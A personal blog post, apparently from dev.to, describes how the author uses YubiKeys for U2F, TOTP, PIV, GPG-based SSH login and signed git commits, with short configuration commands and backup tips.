&lt;p&gt;&lt;em&gt;U2F is an open authentication standard that enables internet users to securely access any number of online services with one single security key instantly and with no drivers or client software needed.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Imagine it like a hardware based second factor. Now, this is not meant to be used as the single authentication factor, unlike it’s spirit successor &lt;a href="https://www.yubico.com/solutions/fido2/" rel="noopener noreferrer"&gt;FIDO 2,&lt;/a&gt; which is meant to replace passwords entirely.&lt;/p&gt;

&lt;p&gt;Most major services today support U2F and are committed to support FIDO 2 when that comes out.&lt;/p&gt;

&lt;p&gt;I have it enabled in Facebook, G Suite, GitHub, GitLab, DropBox, BitBucket and some others I don’t remember.&lt;/p&gt;

&lt;p&gt;You can get a list of services that support U2F on &lt;a href="https://www.yubico.com/solutions/#FIDO-U2F" rel="noopener noreferrer"&gt;Yubico’s website,&lt;/a&gt; but it’s by no means an exhaustive list. Check out the services you use to see if you can enable U2F.&lt;/p&gt;

&lt;p&gt;Google Chrome is the only browser to fully support it, but you can enable experimental support on Firefox by setting **security.webauth.u2f **to true in about:config. I use it, and it worked flawlessly so far.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backup:&lt;/strong&gt; You can add as many hardware keys as you like with U2F, so just make sure you have both your keys in hand when you enable it, and you can add both.&lt;/p&gt;

&lt;p&gt;Check some screenshots below of U2F on GitHub.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F40k9igqnej9i7bmahhl1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F40k9igqnej9i7bmahhl1.png" width="677" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note the “2 security keys”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftzwndp3lk216hbcibaq5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftzwndp3lk216hbcibaq5.png" width="672" height="218"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The first one is my YubiKey 4C, and the second one is my NEO.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;PAM U2F&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You can use your YubiKey’s U2F capabilities with PAM to allow you to log into your machine in a more secure way.&lt;/p&gt;

&lt;p&gt;Unfortunately, this don’t really work with SSH except with some modifications on both client and server, so just stick with the GPG public key authentication I’m going to explain below.&lt;/p&gt;

&lt;p&gt;Still, it’s cool to set it up on your local machine, and for that I followed &lt;a href="https://www.jamesthebard.net/archlinux-and-u2f-login/" rel="noopener noreferrer"&gt;James the Bard guide&lt;/a&gt; to have it running on my Arch Linux. This should work on any distro with some modifications, given that PAM is default almost everywhere.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backup:&lt;/strong&gt; Follow the same procedures on your backup key to have it working in your host.&lt;/p&gt;

&lt;h2&gt;
  
  
  TOTP
&lt;/h2&gt;

&lt;p&gt;Some versions ago (I don’t know exactly when), YubiKey supported storing TOTP secrets by assigning a OATH-HOTP configuration to one of the slots.&lt;/p&gt;

&lt;p&gt;Gladly, this is no longer needed, and new YubiKeys are able to store up to 32 TOTP secrets in a separate storage that doesn’t reside in any of the configuration slots.&lt;/p&gt;

&lt;p&gt;Now, this 32 limit may be enough for most people, but it’s not for me. I have LOTS of TOTPs enabled, so what I did is use &lt;a href="https://authy.com/" rel="noopener noreferrer"&gt;Authy&lt;/a&gt; for storing all TOTPs (with synchronization enabled so I don’t lose them), and only store the important stuff on YubiKey, making sure to also have them on Authy.&lt;/p&gt;

&lt;p&gt;When adding a new secret, just scan the QR Code with both Authy and the YubiKey app and you are good to go.&lt;/p&gt;

&lt;p&gt;For secrets you had before, if you don’t have a backup of the QR Code or the secret, and you used Authy, you can use &lt;a href="https://randomoracle.wordpress.com/2017/02/15/extracting-otp-seeds-from-authy/" rel="noopener noreferrer"&gt;this tip&lt;/a&gt; or &lt;a href="https://gist.github.com/Ingramz/14a9c39f8c306a2d43b4" rel="noopener noreferrer"&gt;this one&lt;/a&gt; to dump the secrets from the Authy chrome extension. I used the later one, and it worked great.&lt;/p&gt;

&lt;p&gt;Since I use &lt;a href="https://i3wm.org/" rel="noopener noreferrer"&gt;i3wm,&lt;/a&gt; I looked for a way to have this TOTP integrated with my desktop, so I could have my 2FA keys a key combo away, provided my YubiKey was connected. &lt;a href="https://github.com/emlun" rel="noopener noreferrer"&gt;emlun&lt;/a&gt; had the same idea, and created &lt;a href="https://github.com/emlun/yubikey-oath-dmenu" rel="noopener noreferrer"&gt;yubikey-oath-dmenu,&lt;/a&gt; which I use to this day and am very happy with. In i3, I assigned it to the Super+T shortcut (for Token), and made it copy to the clipboard.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
bindsym $mod+t exec yubikey-oath-dmenu --clipboard clipboard --notify

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For mobile, you can use the &lt;a href="https://play.google.com/store/apps/details?id=com.yubico.yubioath&amp;amp;hl=en" rel="noopener noreferrer"&gt;Yubico’s Authenticator App&lt;/a&gt;, except you need Android to do that. It also works with NFC and USB C versions of YubiKey.&lt;/p&gt;

&lt;p&gt;For desktop, you have the &lt;a href="https://github.com/Yubico/yubioath-desktop" rel="noopener noreferrer"&gt;yubioath-desktop&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backup:&lt;/strong&gt; I found it too tiresome to add keys to the backup YubiKey everytime I added to the primary one, so I just use Authy for the backup here.&lt;/p&gt;

&lt;h2&gt;
  
  
  PIV
&lt;/h2&gt;

&lt;p&gt;I don’t really use the PIV smartcard applet, opting to use the OpenPGP applet that suits me. But one doesn’t stop you from using the other, and &lt;a href="https://www.yubico.com/solutions/smart-card/" rel="noopener noreferrer"&gt;Yubico’s site&lt;/a&gt; gives some nice examples of where you could use PIV, for example for OSX Code Signing or Docker Hardware Signing.&lt;/p&gt;

&lt;p&gt;Even if not using it, it didn’t feel ok to have it with the default values, so I followed &lt;a href="https://developers.yubico.com/PIV/Guides/Device_setup.html" rel="noopener noreferrer"&gt;Yubico’s guide&lt;/a&gt; to change it’s PIN, PUK and management key using &lt;a href="https://developers.yubico.com/yubico-piv-tool/" rel="noopener noreferrer"&gt;yubico-piv-tool&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
yubico-piv-tool -achange-pin -P123456 -NXXXXXX
yubico-piv-tool -achange-puk -P12345678 -NXXXXXXXX
yubico-piv-tool -aset-mgm-key -nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Backup:&lt;/strong&gt; Follow the same steps just so you don’t have it at the default.&lt;/p&gt;

&lt;h2&gt;
  
  
  GPG
&lt;/h2&gt;

&lt;p&gt;The OpenPGP smartcard applet is where, in my opinion, YubiKey shines. It allows to a lot of stuff, from the regular file or email signing, to SSH public key authentication and GIT commit signing.&lt;/p&gt;

&lt;p&gt;There are a lot of guides on how to set this up, so I’m going to leave a good one here, &lt;a href="https://github.com/drduh/YubiKey-Guide/tree/1ad37577db92726eadde4dc302a6f982ba7e82dc" rel="noopener noreferrer"&gt;drduh’s guide,&lt;/a&gt; and just point what I did.&lt;/p&gt;

&lt;p&gt;I choose to create a 4096 master key and back it up on a secure place (out of my regular .gnupg keychain), and then I uploaded 4096 subkeys to my main YubiKey and 2048 ones to my backup YubiKey.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;In a previous version, I mentioned subkeys are directly derived from the master key and that you could use either one and they will validate. This was wrong, so apologies are due. Share your master key public part for daily use.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backup:&lt;/strong&gt; As mentioned, just uploading the subkeys to the backup key is enough to have it working anywhere your main keys work.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;SSH&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For SSH login, after you configured the GPG key, you can run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
gpg2 --export-ssh-key KEY_ID

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and you will get an SSH public key that you can just put on any server’s authorized_keys and have it working, provided you have gpg-agent properly configured on your client machine. Next time you login, it’s going to ask for your 6 digit GPG PIN to perform the authentication.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;GIT&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;To have it working on git commits, it’s even simpler. First, you have to enable commit signing with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
git config --global commit.gpgsign true

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then you have to specify which key you are going to use to sign the commits with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
git config --global user.signingkey KEY_ID

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it, you are ready to go. Next time you perform a *git commit, *it’s going to ask you for your GPG PIN (6 digits) and will sign your commit, leaving a nice Verified badge on your commits on GitHub.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnkums86jci9fszvvmsb2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnkums86jci9fszvvmsb2.png" width="800" height="199"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://help.github.com/articles/signing-commits-with-gpg/" rel="noopener noreferrer"&gt;GitHub also provides a guide&lt;/a&gt; on commit signing that you may want to check out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;That´s how I use my Yubikeys. I found them to be extremely useful and physically resistant, packing a lot of features on an incredibly small device. This is not a paid post, so guess that can give you a feeling of how much I appreciate Yubico’s work on those devices.&lt;/p&gt;

&lt;p&gt;Hope you liked it, feel free to reach me if you have any questions.&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
  </channel>
</rss>
